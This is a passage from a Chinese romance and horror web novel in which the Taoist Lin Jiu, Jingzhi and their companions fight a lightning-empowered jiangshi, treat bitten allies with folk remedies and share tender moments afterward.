她突然抬起头,双手撑着他的肩膀推开一点距离,有些不悦的说: “在你眼里,我就是这么容易移情别恋的人吗?” “……不是!我不是这个意思!” 静之眯眼,“那你是什么意思?” 她直勾勾的眼神,让林九心头一颤,他别过脸,小声嗡嗡了句: “我……也会吃醋。” 下一刻,他的脸突然被一只温热的手把着转回来,视线一下就对上她欣喜的目光。 “阿九,会吃醋,就表示……你喜欢我!!” 外头雷声渐渐远去,仿佛被厚重的云层所吞噬,但林九心中的那道雷却鼓动得愈发激烈起来。 他的目光如同燃烧的火焰一般,紧紧凝视着静之的眼眸,当捕捉到她眼中那毫不掩饰的深深情意时,林九只觉得自己的心弦像是被一只无形的大手猛地拨动了一下。 身子不受控制地缓缓前倾,将她娇小的身躯轻轻抵在了身后那张几案边。 两人的距离如此之近,以至于彼此都能清晰地感受到对方温热的呼吸轻轻拂过面庞,带来一阵令人心痒难耐的酥麻感。 “静之,我可以......” 话还没说完,林九便觉得有些难为情。 索吻这种事,让他这个平日里沉稳内敛的人不禁面红耳赤。 然而,尽管他没有能够把话说完,但聪明伶俐的静之又怎会不明白他的心意呢? 她微微一笑,原本搁在林九脸颊上的大拇指轻柔地下移,带着几分俏皮,轻轻摩挲起他上唇浓密的胡须来。 感受着指尖传来的微刺触感以及林九逐渐急促的呼吸声,静之的心跳也不由自主地加快了节奏。 此时的林九,喉咙不自觉上下滑动着,似乎想要吞咽下那份紧张。 静之敏锐地察觉到他的变化,尤其是当她的后腰处清晰地感受到,来自林九掌心越来越滚烫的温度时,她整个人也像是被点燃了一般,身体开始渐渐地发热。 她开始微微湿润的大拇指并未停止动作,而是继续缓缓下移,最后轻轻地压在林九柔软的下唇上。 精心修剪成的圆弧形指甲,若有似无地划过他那紧闭的唇缝,留下一道细微的痕迹。 她那双原本清亮如水的眼眸,此刻也变得幽深,细眉微微挑起,眼波流转之间,尽是勾人的挑逗。 “……终于,肯主动亲我啦?” 林九没有回答,只是又不自觉地又咽了口口水,喉间发出一声轻响。 他学着她的样子,抬手轻抚了一下她的唇瓣,却是不敢像她那样,把他的指甲往她唇上划拉,毕竟,他的指甲虽然修得干净,但还是有些长的。 林九极尽绅士风度,又低声问了一遍: “可以吗?” 静之知道他极其容易害羞,于是也没有再撩拨他,只是缓缓闭上那双勾人的眼睛,微微扬起白嫩的下巴,作出无声的邀请。 还没亲呢,林九就有些满足了。 她愿意让他靠近——这一想法浮现在他脑中,不禁让他的心变得有些轻飘飘的。 望着那好似娇艳花瓣一般的双唇,林九的目光渐渐变得炽热起来,他情不自禁地朝着眼前的人儿缓缓凑近。 …… 然而,心神完全被静之勾住了的的林九,丝毫没有察觉到窗外的异常。 原本应该逐渐消散的乌云,在刹那间,竟如同被一只巨大的手掌肆意揉捏一般,再度迅速聚拢在一起。 它们诡异地悬浮于半空中,所处的位置不偏不倚,正好就在放置着棺材和帐篷的正上方。 突然间,一阵震耳欲聋的“咔嚓”声轰然响起,紧接着,一道形如灵蛇的耀眼闪电划破黑暗,猛地从厚重的云层中蹿出,以迅雷不及掩耳之势直直劈向下方的那座帐篷。 待到光芒稍退之后,那乌云在眨眼之间便烟消云散,只留下地面上那顶已经开始冒出滚滚浓烟的帐篷。 帐篷内。 那个紧挨着棺材躺着的随从甚至来不及发出一声惊呼,便已然被强大的电流击打成一块漆黑如炭的焦尸。 另一名随从则满脸惊恐地瞪大眼睛,死死盯着那崩裂开的棺材,以及那缓缓从棺材里直起身躯的“王爷”。 极度的恐惧让他浑身颤抖不止,一时间,竟慌乱到连迈步逃跑都无法做到。 下一秒,一道血液呈抛物线,喷洒到帐篷布上,那随从捂着绽开一道口子、不断涌出鲜血的脖子,喉咙处发出几声“咕噜”声响,便没了声息。 不过,他的尸体还没倒在地上,便被僵尸拎住狠狠咬上那正喷着血的脖颈…… 雨,渐渐停了。 乌云散尽,露出来的圆月发着诡异的红光。 …… 此时此刻,屋内的林九非常想骂人。 他抵着静之的脑袋,双眼几乎要冒出愤怒的火光,额头的青筋正不断跳动着。 “阿九,别生气,我闻到焦味了!” 静之看着窗外不远处那起火的帐篷,有些后怕,刚刚那道雷差点没亮瞎她的眼。 她推了推林九僵住的肩膀,“走,一起去看看?” 林九闭了闭眼,缓了几秒极度不爽的情绪,才抄起桌上的符纸,拉着她起身。 刚到楼下,就看到四目拿着一把青铜剑冲了出来。 四目见到林九,心神一定,表情却依旧未放松。 尸变,铜棺,雷击,再加上红月! 这僵尸一出世,实力是要逆天了啊?! 四目有种预感,他觉得他即将迎来人生中最大的挑战。 他把手中的青铜剑朝林九的方向一扔,林九顺手接过,却见他师弟脚下一转,又绕回房里。 “师弟,还不走?!” 话音刚落,就见四目手提一把快比静之高的青铜大宝剑,从房里奔了出来。 “……” “……” 四目梗着脖子,理直气壮说:“看什么看,走啊!” 第124章 变厉害的僵尸 就在这时,秋生跟家乐同时从房间里冲了出来,手里各提着常用的灭尸装备。 “师父!” 林九脑子里突然跳出文才那副雷打不动的睡姿,于是接过布袋子,朝秋生扬扬手,“你别去,看好你师弟,他伤还没好。” 四目撇了撇嘴,也朝家乐挥挥手,“你留在家里看家。” 那僵尸,已经不是他徒弟能应付得了的了。 林九转头看着静之,眼里有些许忧虑:“你别……” 静之:“不行!我不放心你!” 看他眉头皱死紧,静之赶紧说:“我跑贼快,他要是要追我,我还风筝他!” 得,犟脾气这个时候倒是用上了。 林九只得点点头,将布袋递给她,三人快速往帐篷奔去。 途中,三人遇到了前来查看状况的一休大师。 四目边跑着,竟然还能一边跟他斗嘴。 不过,是他单方面斗嘴,一休只是微微一笑,四两拨千斤,避开他的冷嘲热讽。 还未到帐篷跟前,众人便看到不远处躺着的几人。 林九心里一个咯噔,赶紧上前查看。 好消息,不是师弟他们。 坏消息,是随行三个侍卫,阿大阿二阿三,却都已经被僵尸咬死了。 林九:他师弟人呢? 他满心焦急,四处寻找着,嘴上却对着静之赶紧交代: “静之,快,放火把尸体烧了,被越厉害的僵尸咬,尸毒散发的速度就越快!” 静之此时的视线却被中间那个帐篷,篷壁上被渐渐提起,正在蹬动着小腿的小小身影所吸引。 “阿九,快!” 林九听到呼喊声后,迅速转头看去。 刹那间,他的瞳孔猛地收缩。 说时迟那时快,只见他手中紧握着的青铜剑如闪电般脱手而出,直直朝着那隐藏在帐篷中大张着的獠牙阴影疾驰而去。 只听见“哐”的一声巨响,仿佛是金属相互撞击所发出的清脆声响。 然而,这一击并没有取得预期的效果,反而让林九一行人的心情瞬间跌入谷底。 “完了!难道……他已经变成金甲尸了吗?!” 这个可怕的念头在四目心中一闪而过。 容不得多想,林九三人毫不犹豫地冲进了帐篷中,与那僵尸缠斗起来。 静之原本想要蹲下身来焚烧尸体,但就在这时,帐篷内突然传出一阵接一阵令人毛骨悚然的嘶吼声,其中还夹杂着林九和四目的惊呼声。 “师弟,你先出去!”林九大声喊道。 “你们快扶他俩出去!”四目也紧接着吼道。 静之闻言连忙抬起头来,只见千鹤道长身上的那件道袍已被撕扯得破碎不堪,两只衣袖更是沾满了鲜血。 此时,他正被两名徒弟搀扶着,跌跌撞撞地从帐篷里狂奔而出。 还有一个徒弟抱着那脸色苍白如纸,好似马上就要厥过去的小王爷跑了过来,身边还跟着惊慌失措的乌侍郎。 静之只得放弃烧尸的打算,先迎了上去,“师弟,你被咬了?” 千鹤慢慢变得混沌麻痹的脑子,被她这一声“师弟”叫得一个激灵。 他极力挣脱开两个徒弟的搀扶,提起手中黑了半截的桃木剑,剑刃向内,朝着胸口狠狠一个用力! “师父!!” 就在这个当口,静之眼疾手快打掉他手中的桃木剑,又趁他正愣神的时候,一把将他背起。 “有什么想不开的,没死就还有救!” 话虽是这么说出口了,可实际上她心里慌乱得很。 毕竟她不知道那僵尸有多厉害。 然而,静之深知此刻不能乱了阵脚,于是强压住内心的不安,脚下如生风一般,朝着四目家跑去。 她身后的那三个年轻人,刚才已在打斗中受伤,但好歹没有被僵尸咬到或抓到。 看到他们师父命悬一线的模样,他们也顾不上自身伤势,咬紧牙关紧跟其后。 ...... “秋生!秋生!赶快把文才的药拿两份过来啊!” 正在门口焦躁到来回踱步的秋生和家乐,冷不丁听到静之这声急切的呼喊,还以为是他们师父不幸负伤了呢。 两人不敢有丝毫耽搁,赶忙转身冲进各自的房间去取药。 静之此时根本无暇向他俩解释具体情况,只是背着千鹤一个箭步便冲进了一楼的客厅。 待两个徒弟将千鹤小心翼翼地搀扶着坐到椅子上后,静之动作麻利地撕开千鹤两袖的道袍。 他的双臂上赫然出现了好几个窟窿眼儿。 那些伤口周围的皮肉已经呈现出骇人的黑色。 距离那道雷劈下来到现在,不过才几分钟而已。 但令人惊诧的是,他这伤口竟然以一种超乎想象的速度发展着。 静之不由心头一紧,她匆忙伸手探入背后的布袋中,摸索了几下,从中掏出了一把白花花的糯米。 “忍住!会有点疼!”话音未落,她捏住糯米,毫不犹豫地朝着那伤口按压下去。 “嘶~” 伤口接触到糯米的位置顿时发出阵阵嘶响,并弥漫出股股轻烟。 千鹤忍不住闷哼出声,额头滑下豆大的冷汗,牙根咬得死紧。 瞧着他几个徒弟慌到手足无措的样子,静之赶紧回头喊一声: “你们几个,快帮小王爷疗伤!” 边说着,她抛出一袋糯米,放于地面任他们取用。 秋生这会儿拿着药出来了,看到是千鹤跟那小孩受伤,他松了口气的同时,眉头又皱得死紧。 “秋生,你来处理伤口,我去烧水,要快!阿九说那僵尸的尸毒可厉害了!我刚刚检查过了,肉都硬了。” 秋生见她忙到脚步都快成了虚影,忙不迭地点点头。 家乐这会儿也出来了,他提着平时他师父备着的蛇,分别洒入两个浴桶里。 …… 等到二人都泡进装有糯米水的浴桶里,秋生松了口气。 刚一转头,就看到林九三人各自举着法器,从院子外头一脸谨慎地围了过来。 秋生看着他师父那副严阵以待的样子,忍不住咽了口口水,“怎,怎么了?” 刚说一句,林九食指就竖在嘴前,他未出声,只是做了个口型: 【来了。】 什么来了? 僵尸吗? 秋生脊背不禁一阵发寒,他半弓着身子,如惊弓之鸟般,转动着头四处打量着周围。 屋漏偏逢连夜雨。 这会儿,千鹤和小王爷连坐都坐不住,一直往下滑,两张脸同时泛起了一层不祥的灰青色。 林九和四目凝神一看,不由闭了闭眼,心中皆是一痛。 难道,才刚见到千鹤师弟一面,连饭都没来得及吃上一顿,就要跟他天人永隔了吗? 千鹤的三个徒弟,两个把住他的胳膊固定,一个从后面拖着小王爷的胳膊让他坐好。 三个年轻人的眼眶都渐渐红了起来,嘴巴紧紧抿着。 他们最小的师弟小北,已经被那王爷的棺材压死了,要是连师父也死掉了,那他们三个,又该何去何从? 就在这时,四目家的木质地板,突然往上一凸一凸的,仿佛有人在底下一顶一顶跳动着。 林九暂且撇去忧思,对着那诡异的动静追了过去。 眼瞅着就要追到小王爷浴桶前,林九一个箭步上前,抽出桃木剑狠狠往下一插。 那蹦跳的动静骤然停止。 众人僵在原地,就连遇到僵尸一直选择摆烂,不屏呼吸的静之,这会儿也悄悄捏住鼻子,然后两手撑住椅子,把脚轻轻缩回椅面。 然而,怕什么,来什么。 那阵死动静,一咚一咚地朝着静之这边逼近。 静之汗毛直竖,吓得脚下一蹬,直直窜到房梁上。 就在这时,秋生灵机一动,嘴巴朝下方捣鼓了两句什么。 那一凸一凸的动静,停在静之脚下,彻底失去了声响。 静之听不明白,早就学习过僵尸语的林九倒是满脸黑线。 四目差一点就不合时宜地笑出声来,但一回头看到他师弟的惨状,就又把那几分笑意强行压了下去。 就在这时,一声尖叫冲破天际。 那声音近在咫尺。 一休大惊失色:“是菁菁!” 林九和四目相视一眼:“追!” 三人几乎是同时朝门口奔了过去。 林九更快,已经快到隔壁房屋了,四目和一休还挤在这边的门口骂骂咧咧。 “挤什么?门要给你挤坏了!” “道友,我现在不想跟你吵,我要去救菁菁!” “哎呀,我这不是正在赶去的路上嘛!” 突然,隔壁传来林九一声气急败坏的怒吼,“四目!还不过来帮忙!” …… 静之无暇顾及他们几个,她看着眼前两个马上就要尸变的人,忧心忡忡。 秋生没了平时调皮的那股劲儿,脸上全是不安,他回房检查了一下文才,发现他依旧睡得跟死猪一样,忍不住扶额轻叹。 轻轻给他关上门后,他来到房梁下,抬头朝上面的静之问: “怎么办,静之姐?师叔不会就这样死了吧?” 静之从房梁上一跃而下,她摸了摸他们脖间的脉搏。 “糟糕,越来越慢了。”她眉毛顿时皱成了两条毛毛虫。 体温也越来越低,估计不到一刻钟,他俩便回天乏术了。 算了,死马当活马医了。 “秋生,家乐,多拿点热水过来!” 边说着,她掏出袋子里的小刀,开始给千鹤那已快凝成硬肉块的胳膊放血。 她有些不忍心,所以划的第一刀,刀口太浅。 划下去后,犹如划拉在一块烫得坚硬的猪皮上,有些剌不动。 千鹤双臂已然失去知觉,就任她剌着。 他半睁双眼,看着跪在浴桶两侧几欲哭出的两个徒弟,虚弱地扯动嘴角,转回头,气若游丝对着静之说: “划深一些,我受得住。” 言罢,他又缓缓转头嘱咐身后的大徒弟: “小东,你师嫂如何做,你便如何做,照看好小王爷。” 小东咬咬牙,应了声是,遂即掏出刀子,欲要动手。 乌侍郎不知为何,突然身躯一抖,却仍紧握住小东的手,满脸狐疑: “你行不行啊?” 肌肤相触的瞬间,小东被乌侍郎凉如死人般的手掌,冻得浑身一颤。 他诧异地望了他一眼,道:“再不放出毒血,他要是死了,你负责?” 乌侍郎仿若极冷,匆忙缩回手搓了搓胳膊,讪讪地说:“那,那你小心点!” …… 静之没空管隔壁的动静,就为了这声“师嫂”,她也不能干看着千鹤就这样命殒此地。 她捏着刀子,狠狠心又下了一刀。 这次切得极深,刀尖都快触到他的肱骨,伤口处才流出红色的鲜血。 “忍着点!” 接下来,放血,割腐肉,止血,包扎,静之做得飞快。 毕竟,没有麻药,越慢的话,对千鹤来说,何尝不是一种折磨。 隔壁浴桶的小东一开始磕磕绊绊的,后来倒也是麻木了。 下刀右胳膊的时候,速度明显快了不少。 等到给二人包扎完毕,静之还是有些不放心。 她索性咬破中指,各往两人嘴里滴了几滴她的血。 她想,他俩流这么多血,她的血既然能肉白骨,那么对伤势恢复应该也有效果的吧。 就在此时,刚刚闻到二人血腥味,觉得牙齿有些发痒的乌侍郎,这会儿骤一闻到她血液香甜的味道,忍不住快走两步,凑到她身边。 两只眼睛隐隐泛着绿光,死死盯着静之手指上的伤口,猛咽了口唾沫,还情不自禁“呜~”了一声。 “你搞什么?要变异啊?” 静之被他盯得有些脊背发凉,赶紧把手指伸进嘴里含着。 她心里陡然一惊,“你也被那僵尸咬了?” 乌侍郎缓缓摇头,下一秒,他做出的动作,却让静之眉心一跳。 只见乌侍郎缓缓撩起袖子,露出手臂上的一点划伤。 那伤口很小,约一厘米长,周边却已经开始发黑。 静之一阵后怕,她捂着胸口忍不住怒骂出声: “靠!你不早说!嘴这么紧?你怎么不等变僵尸再说!” 她朝被骂到不敢吭声的乌侍郎翻了个白眼,又朝小东说: “你来帮他处理下伤口,跟刚刚一样的步骤。” 说完,她转头打量了一下千鹤跟小王爷的脸色。 她发现他们虽然脸色苍白,但是那股子灰青的死气已经开始慢慢褪了下去,她这才放下心来,朝秋生说了一声: “看好他们啊,我过去帮忙。” 跨出门口的时候,她忍不住回头又交代一句: “剩下的糯米洒在门口啊。” 毕竟那头僵尸好像挺聪明的样子,这会儿这里有两个半伤患,可经不起那僵尸一星半点的攻击了。 此时忧心忡忡的静之,已经完全忘记了帐篷处的那三具尸体。 …… 隔壁跟拆房子似的,传来阵阵打砸声,她三步并做两步飞奔过去。 刚一跨进门槛,就看到堪称人间奇景的一幕。 此刻的四目道长宛如吃了菠菜,那胸肌,那肱二头肌,鼓鼓囊囊的,拎起那僵尸左抡右砸,那僵尸一时被砸得发懵,竟毫无还手之力。 她溜到林九附近,“阿九,四目师弟这么神勇啊?” 林九看到她过来,心下一惊,赶紧把她往身后捎了捎,“他请祖师爷上身了。” 她扒着他横起的胳膊朝前方细看,忍不住又赞叹出声,“哇,那就是你们祖师爷神勇!” 夸还没两句呢,四目的肌肉不知为何竟快速瘪了下去,他手中拎着的僵尸“啪嗒”一声掉在地上。 “咋了?” 林九迅速将手中桃木剑横在身前,一脸警惕看着地上的僵尸。 “他还未修炼到家,被尖锐之物伤到,就会破功。” 说话间,那僵尸两眼放光,蹦跳着,就朝静之扑了过来。 二人一左一右避开一击。 就在这时,四目抄着他的青铜大宝剑一个箭步冲了上来,狠狠朝僵尸脖颈砍去。 静之还小小期待了一下,以为这次就能将僵尸的头颅砍下来了。 哪曾想,僵尸的皮是没破一点,四目的剑就哐的一声断成了两节。 “大哥,你的剑是一次性的啊?” 静之立刻朝外头飞去,又回头朝林九喊: “阿九,老方法,你快去找油,火不是克金的吗,用火攻试试!” 然而,这个僵尸可不是这么好对付的。 经历了刚刚那道雷,此刻他几乎修成铜皮铁骨了。 此时此刻,静之溜尸溜得都没体力了,身后的烧得通红的火人依旧穷追不舍。 他不累,静之倒是要累死了。 但是,她丝毫不敢放慢一点速度,几乎是强行掏空身上的一点灵力跟体力与之博弈。 “阿九,嗬,不行了,还有没有其他办法呀!!” 她边喊着,边落到一休大师家的房顶上。 停没几秒,那僵尸脚下一蹦,就追了上来。 当那泛红的月光洒落在他的身躯上,一股浓郁至极的阴气自它体内迸发出来。 只见它身上原本熊熊燃烧的火焰竟以一种惊人的速度迅速湮灭。 它仰头对着高悬夜空的红月发出一声嘶吼。 这吼声犹如一道惊雷划破寂静的黑夜,惊得丛林之中无数的夜枭振翅逃窜。 紧接着,那僵尸从房顶上纵身一跃,径直朝着静之猛扑过去。 他那双猩红色的眼珠几乎要从眼眶中掉落出来,散发着令人毛骨悚然的寒光,仿佛下一刻就要将静之生吞活剥一般。 由于两者之间的距离实在太过接近,就在这千钧一发之际,林九一个箭步冲上前去,稳稳地接住了刚刚跳下房顶且早已累得气喘吁吁的静之,端着她转身就跑。 “阿九,千万别往四目家的方向跑,赶紧拐弯!” 静之紧紧搂住林九的脖颈,美眸圆睁,目光始终牢牢锁定在身后穷追不舍的僵尸身上。 与此同时,她眼里发出点点紫色光芒,试图施展出自己有些菜的迷幻术来阻挡僵尸的追击。 不知道是她菜,还是那僵尸实在不好迷惑,它的身形只定住了两秒。 不过,就这两秒时间,林九倒是想到了个好法子。 他现在有些分身乏术,赶紧朝着冲过来的四目跟一休喊: “你们两个拖住他,先攻眼睛试试!” 林九心里已经有了成算。 这眼睛如果是弱点的话,那么就算他外皮再硬,总不能武装到内脏吧。 想罢,他趁着一休跟四目与他缠斗之际,直奔四目家的药房。 他这个师弟,阵法道术没他厉害,炼器和炼药方面却是独具天赋。 走进四目的药房,琳琅满目的药物让人眼花缭乱。 其中一格更是堆满了各式各样的毒物,瓶瓶罐罐密密麻麻地排列着,仿佛一个小型的毒窟。 “快,多拿一点,找机会给他灌进去!” 静之不疑有他,林九怎么说她怎么做,她直接拿了墙边的篓子装了一大筐紧跟其后。 还未出门,就听闻外头传来一阵诡异的“呜呜”声响,这声音犹如鬼魅啼哭。 刹那之间,静之脑海中猛地闪过之前那几具尚未来得及焚烧处理的尸体。 一股不祥的预感涌上心头,她下意识地握紧手中的篓子,毫不犹豫地冲出门外查看究竟。 得!果然是尸变的侍卫。 不过已经快无了! 只见院子里的林九随手剜了个漂亮的剑花,一剑就洞穿了俩。 在他脚旁,赫然躺着一颗仍在发出“呜呜”叫声的头颅,显然是刚刚被林九斩落下来的。 静之:“秋生,小心些,都拖到门口烧掉!” 她紧跟林九身后,望着他急匆匆的背影,突然觉得,他好帅啊! 她从来就藏不了话。 心里这么想的,嘴上也就这么说了。 “阿九,你杀僵尸的样子可真帅!” 林九脚步不停,锐利的眼神瞬间变软,脸也跟着不争气的红了起来。 “……别说了,赶紧帮忙去!” “嘿~好的。” 两人一到一休家院子里,就看到那僵尸两眼都被佛珠摁瘪了,那两颗佛珠倒是死死嵌在它的眼眶里。 不过它好像毫无影响的样子,一感知到静之靠近,便张牙舞爪的蹦了过来。 林九:“师弟,一休,找机会制住他,我喂药!” 静之刚刚缓了一口气,体力恢复少许,这会儿被僵尸追也没有刚刚那么吃力了。 突然,不远处草地上有道波动着的光芒映入她的视线。 她灵机一动,朝紧追在僵尸身后的林九大喊: “阿九,白天那个深坑,我引到那儿去,你们快来!” 说罢,她径直朝着那个深坑冲了过去。 下了一场暴雨,这草地上每踩一脚,都会发出滋滋的水声,有时候静之也会一脚踩到泥坑里,仿如小沼泽般的泥坑有时候会吸住她的脚,让她动作一顿。 好在,她跑得不顺,蹦蹦跳跳,落脚极重的僵尸更不顺。 很快,她就与僵尸拉开了一点距离。 那僵尸已有神智,身后的林九离他更近,他才不会舍近求远去追静之。 反而身子一转,就朝林九抓去。 月光下,他的利爪泛着隐隐寒光,林九追得急,一时躲闪不得,只能凭着惊人的柔韧性,一个下腰躲过一击。 一人一尸离得太近,泥坑同样也限制了林九行动。 静之心急如焚,站定到那个大泥坑前,咬咬牙,拿刀子给手指切了一刀。 鲜红泛着微光的鲜血瞬间从她绽开的伤口涌了出来,滴滴落入那大水坑内。 空气中血腥带着香甜的味道,瞬间吸引了僵尸的注意力。 他挥舞着爪子一时定在原地,有些难以抉择。 道士的血vs那香死个尸的血,到底要先吃哪一个好呢? “臭僵尸!来吃我呀来吃我呀!略略略!” 语气虽然十分欠揍,此时的静之,却冷着脸对自己下狠手。 只见静之狠狠掐着手指头上的伤口,挤出更多血液滴入那水坑里头,双眼又警惕地看着那越发动摇的僵尸。 终于,当空气中的血腥味浓到一定程度时,僵尸动了。 随着一声兴奋的吼声,他一跃而起。 刚要落地,身后一阵破空声起。 林九狠厉的一个鞭腿,直接把僵尸扫到大泥坑里,溅起的泥点子直接把一旁来不及躲闪的静之嘣成了个泥猴儿。 她猛地一跺脚,“阿九!你干嘛!” 林九摸了摸鼻子,心知现在不是道歉的时候。 就在此刻,四目与一休正合力死死地摁住那深陷泥潭之中、苦苦挣扎着的僵尸。 而他则毫不犹豫将手中紧握着的各种药物一股脑儿地倒入那僵尸张开的口中。 “静之,快把药拿过来!” 伴随着他焦急的呼喊声,静之一边用手迅速抹去满脸的泥水,一边气鼓鼓地走向另一边。 显然,此时的她心里充满了愤怒,以至于行动间都带着些许狠劲。 到了近前,她二话不说,直接连着手中小瓷瓶一同塞进了僵尸的嘴里。 当她瞥见篓子里面尚有一条已经半死不活的毒蛇时,更是想也不想便伸手提起那条毒蛇,一并往僵尸口中塞去。 看到这一幕,四目道长和一休和尚都不禁瞪大了眼睛。 他们相视一眼后,不约而同地为林九捏了一把冷汗。 心里暗暗想着:这姑娘的脾气可真是火爆得很呐! 不过,或许正是因为那些药物毒性极强,仅仅过了短短一分多钟时间,原本还在不停地拼命挣扎的僵尸竟然开始逐渐融化起来,最终变成了一滩散发着刺鼻气味、绿黑相间的脓水。 与此同时,那个原本困住僵尸的水坑仿佛受到了严重的污染般,不断地向上鼓出一个又一个黑色水泡。 第125章 以其人之道 直到亲眼目睹僵尸彻底被消灭之后,林九这才长长地舒了一口气。 刚站起身子回头一看,那泥猴儿正深一脚浅一脚地往回走,手上的篓子晃悠得都要摆到天上去了。 完了。 她好像真生气了! “嘿嘿嘿!师兄,这回有你受的喽~~我先回去啦!” 四目幸灾乐祸的拍了拍林九的肩膀,一脸坏笑的往回走。 林九:“师弟,你打烂了一休家不少家具,还不去帮他收拾干净?!” 四目一噎,赶紧上前两步理论: “师兄,你不能这样啊。呐,这就是公报私仇了!我可不去。” 林九转头冷冷瞥他一眼:“去不去?” 四目感觉脖子一凉:“……去就去!” 一休乐呵呵的笑:“那就麻烦道友了。” 跟他斗了这么多年,总算看到他吃瘪了,老狐狸一休心里都快乐坏了。 …… 林九快步跟到静之身边。 “……对不起。” 静之瞥他一眼,嘴巴翘得老高,“扣一分!” 林九急了,他现在是几分来着? “我帮你擦擦?” 静之眼珠子一转,突然转身抱住他磨蹭,然后放开。 看着他跟她一样满身泥泞,静之笑眯眯地说:“好了,我不气了,一分还你。” 林九:“……” 算了,都是自己作的。 她一直避开的手,终于给他牵了。 刚握上,静之忍不住就轻嘶了一声。 林九轻柔地捧着她的左手细看,伤口还微微有些流血,周边的皮肉也被她自己掐得有些狰狞外翻,可给他心疼坏了。 “以后不准这样了,怎么也会有别的方法。” 静之:“我担心你嘛,那僵尸的爪子刚刚都快抓到你了,我没想那么多。” 他一脸不赞同,嘴角有些下垂,从怀里掏出干净的手帕轻轻裹住她的食指。 “先这样,回去再给你包扎。” “好。” …… 二人刚回四目家,发现客厅就只有秋生一个人坐在桌旁,撑着手看向外头。 院门口是熊熊燃起的一个大火堆。 见到他俩回来,秋生赶紧站起身子迎了上去。 “你们怎么样,有没有受伤?” 静之举了举食指。 秋生啊了一声,有些为难说: “那怎么办,手指头没多少肉,要不剁掉?” 林九:“……” 静之啧了一声,忍不住翻了个白眼,说:“剁个毛线,我自己划的。” 秋生震惊得瞪大了眼:“你又划了一刀?” 林九皱眉,欲拿起静之的双手细看,没想到静之把左手死死藏在身后。 他转头朝向秋生问:“什么叫“又”?老实交代!” 秋生后退两步,打着哈哈,说了句“我去烧水给你们洗澡!”就跑掉了。 浴桶里的千鹤倒是出声了。 “师兄,师嫂以血为我俩解毒,是我和小王爷的救命恩人,你别……” 千鹤说到一半,看他师兄那心疼的脸色,就知道他自作多情了,他还以为林九会对静之发难呢。 林九身上脏,也没坐到椅子上,他径直走到浴桶前检查了一下千鹤的伤势。 “还行,有些失血过多,师弟,你就留在四目这儿好好养养先,反正他这儿地方大。” 千鹤有些犹豫,“那僵尸?” 静之:“灭了……你不会还想着送它回京吧?” 千鹤摇摇头,只是回头看了躺在墙边临时搭建的床上睡着了的小王爷一眼。 静之:“你担心他啊?” 千鹤转过头来,点了点头说: “我算是受他之托,运他父亲回京下葬,现在这般……可如何与他交代。” 千鹤想到他惨死的小徒弟小北,忍不住红了眼眶。 这一趟,当真不值得。 静之也不知道该如何劝他,气氛实在凝重,她硬生生转了个话题: “你那几个徒弟呢?还有家乐跟菁菁也不见了,还有那个乌侍郎,他怎么样?” 千鹤朝隔壁房子轻轻扬了下下巴: “好在你发现及时,他放完血,包了伤口就跟着我那三个徒弟,过去隔壁帮忙收拾屋子了,家乐跟着菁菁也过去了。” 静之点点头,小声嘀咕着: “娘归娘,倒是挺会做人的。” 千鹤转向林九,“师兄,我那小徒弟,你……” 林九叹了一声,轻轻拍了拍他的肩膀: “等会我和秋生帮他收殓尸体,会尽快帮他安排个好地方下葬的。” 千鹤满脸自责地点了点头。 人都死了,林九也不知道该怎么劝他,见秋生进来了,他唤了秋生,一起去给小北收尸。 见人都走光了,静之只得先去洗澡。 …… 等到一切尘埃落定,她躺回自己被窝里,有些昏昏欲睡的时候,林九才一身水汽,端着个托盘从门外走了进来。 “先别睡,手伸出来,我给你包扎一下再睡。” 神经一放松,跑了许久的静之浑身酸痛,起都不想起,她两手伸出被窝,翘起两根食指,声音软软的说: “你过来嘛,我好累,不想起来。” “……” 林九又心疼又无奈,只得端着托盘走到她旁边坐下。 边上着药呢,感受着他轻柔的动作,静之抬眼直直看着他刚毅的下巴,突然说了句: “阿九,还想不想亲了?包扎完亲一下就睡了?” 林九动作一顿,没好气地说: “我没那么禽兽,包扎完早点睡,你刚刚跑了那么久,还不累吗?” “zz zz……” 看着累到断片,却还乖乖竖着两根食指给他包扎的静之,林九心中的怜爱陡生。 他包扎的动作越发小心翼翼,就怕扯痛了伤口让她醒过来。 包好后,他把托盘往墙边推了推,然后放慢动作躺回他自己的被窝里。 看着她还不自觉地竖着两根手指,林九哑然失笑,伸手轻轻摁下她的手指,又给她掖了掖被子,这才长长舒了一口气。 想要闭上眼睛,林九又有些不甘心,但是趁她睡觉啵她嘴,实在太过分。 林九退而求其次,挑起她枕边半湿的一缕头发轻轻啄了啄。 发丝顺滑微凉,林九有些爱不释手,轻轻绕了几下,便也就这么捏着她的头发睡着了。 …… 第二天,睡得饱饱的静之刚一起身,就感觉左侧头皮一痛。 她低头一看,某个罪魁祸首还揪着她的头发不肯放。 臭阿九。 醒着的时候老说不要,不可,她睡着的时候净搞一些小动作,真是的。 看着林九睡得板板正正的样子,她忍不住暗笑一声。 嘿~她要以其人之道,还治其人之身。 静之悄悄挪了过去,俯下身子,一双乌溜溜的大眼睛,紧紧盯着他的睡颜。 唔,阿九眉尾附近有颗小痣呢。 静之看了那颗痣两眼,便挪开视线,缓缓落到他不动的眼皮上。 说实话,她是不相信他还没醒的。 上回她起来上厕所的动作,可比她刚刚起床的动作轻多了。 那他现在这样,是在装睡吗? 小样,看她不整整他。 听说,将手指靠近双眉之间的位置,会有压迫感。 这试一试的机会,可不就来了嘛! 于是,她悄悄伸出手指,一点一点靠近他的眉心。 眼瞅着指尖的纱布都要碰到他的皮肤了,林九都未曾有所反应,静之有些疑惑。 难道,是她猜错了? 他没醒? 视线突然落到他微红的耳垂上,静之直呼好家伙。 这人,可真够能忍。 她就不信了。 林九其实一早就醒了,正偷摸绕着她头发的时候,她突然就醒了,还来不及放手,她就起身了。 听到她一声痛呼后,他顿感心虚,于是装睡。 这会儿,被静之一通试探,他依旧不动如山。 修道之人的忍耐力,可谓是超出常人数倍的。 刚暗暗缓了一口气,复又吸气的时候,林九突然闻到她身上香甜的气息,那气息轻轻拂在他的正脸上。 林九没拿头发的另一手,一下就捏紧了手中的被子。 她这是,贴得有多近?! 她到底想干什么? 林九面上没动,心跳却是愈发剧烈。 就在这时,一只纤长的手突然轻轻摁在他的心口处,伴随着她一声轻笑,一句调侃的话突然传入他的耳朵里: “阿九,你的弱点,是我呢。” 她又说:“我都听到你的心跳声了。” “……” 林九依旧面不改色,甚至连个微表情都无,两只耳朵却是越来越红,搞得静之都觉得耳朵是他的本体了。 她挪开脑袋,轻轻拍了拍他的胳膊,“好啦,不逗你了,起床,今天事儿可多了,千鹤跟那个小王爷还没换药呢,我们该替秋生的班了。” 